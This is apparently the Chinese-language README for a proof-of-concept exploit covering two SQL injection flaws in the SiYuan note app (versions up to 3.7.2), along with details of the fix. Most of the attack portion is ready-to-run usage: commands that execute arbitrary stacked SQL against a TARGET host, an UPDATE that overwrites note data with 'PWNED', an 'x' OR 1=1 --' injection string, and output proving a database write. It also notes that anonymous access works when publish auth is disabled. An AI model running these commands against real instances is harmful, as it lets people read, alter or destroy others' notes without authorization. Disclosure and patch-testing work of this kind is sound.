CVE-2026-69084: 通过 /api/search/searchEmbedBlock 执行任意 SQL
CVE-2026-69085: 通过 /api/filetree/searchDocs 进行 SQL 注入
CVSS 9.9(严重) 每个 · CWE-89 · SiYuan <= v3.7.2(已在 v3.7.3 中修复)
发布于 2026-08-03 · 发布时无公开 PoC
SiYuan(开源笔记应用,github.com/siyuan-note/siyuan)暴露了
两个 API 端点,将攻击者控制的 SQL 直接传递给其 SQLite 数据库:
CVE-2026-69084 — /api/search/searchEmbedBlock:
stmt 参数被原样传递给主读写
siyuan.db 句柄,且没有任何单语句或只读限制。SQLite
驱动程序会执行堆叠(分号分隔)语句,因此攻击者可以
对数据库中的任何内容执行 CREATE / INSERT / UPDATE / DELETE / DROP。
仅受 CheckAuth 限制——使用发布 RoleReader 令牌即可访问,
或在发布模式设置 Publish.Auth.Enable=false 时可匿名访问。
CVE-2026-69085 — /api/filetree/searchDocs:
keyword 参数被直接拼接进 SQL,没有任何转义
或参数绑定。
两者均在 v3.7.3 中通过 sql.CheckSingleStatement() +
sql.CheckReadonlyStatementInBox() 修复。
# 1. 非破坏性探测(sqlite_version)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --check
# 2. 数据库写入证明:CREATE TABLE + INSERT
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --proof
# 3. 执行任意 SQL(支持堆叠语句)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "SELECT * FROM blocks LIMIT 5"
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> "UPDATE blocks SET hpath='PWNED' WHERE id=(SELECT id FROM blocks LIMIT 1)"
# 4. searchDocs SQL 注入(69085)
python3 CVE-2026-69084.py http://TARGET:6806 --auth <CODE> --searchdocs "x' OR 1=1 --"
如果实例以发布模式运行且认证已禁用
(Publish.Auth.Enable=false),则完全不需要 --auth。
$ python3 CVE-2026-69084.py http://127.0.0.1:6806 --auth test123 --proof
[*] SQL: CREATE TABLE IF NOT EXISTS pwn_69084 (id INTEGER)
[+] SQL accepted (blocks: 0)
[*] SQL: INSERT INTO pwn_69084 VALUES (31337)
[+] SQL accepted (blocks: 0)
[+] DB-WRITE PROOF COMPLETE — pwn_69084 table + 31337 row in siyuan.db
# 在主机上:
$ sqlite3 siyuan.db "SELECT * FROM pwn_69084;"
31337
已修补的 v3.7.3 会拒绝相同的请求:
SELECT 1; CREATE TABLE x → "SQL statement is not single"UPDATE blocks ... → "SQL statement is not a read-only query"SELECT 仍然有效(保留合法功能)Python PoC 执行会话登录(/api/system/loginAuth)以获取
认证 cookie,然后向易受攻击的端点发送 POST 请求。已在
b3log/siyuan:v3.7.2(易受攻击)和 b3log/siyuan:v3.7.3(已修补)上测试。
Publish.Auth.Enable=true 并
使用强 RoleReader 令牌。仅用于授权的安全测试和教育目的。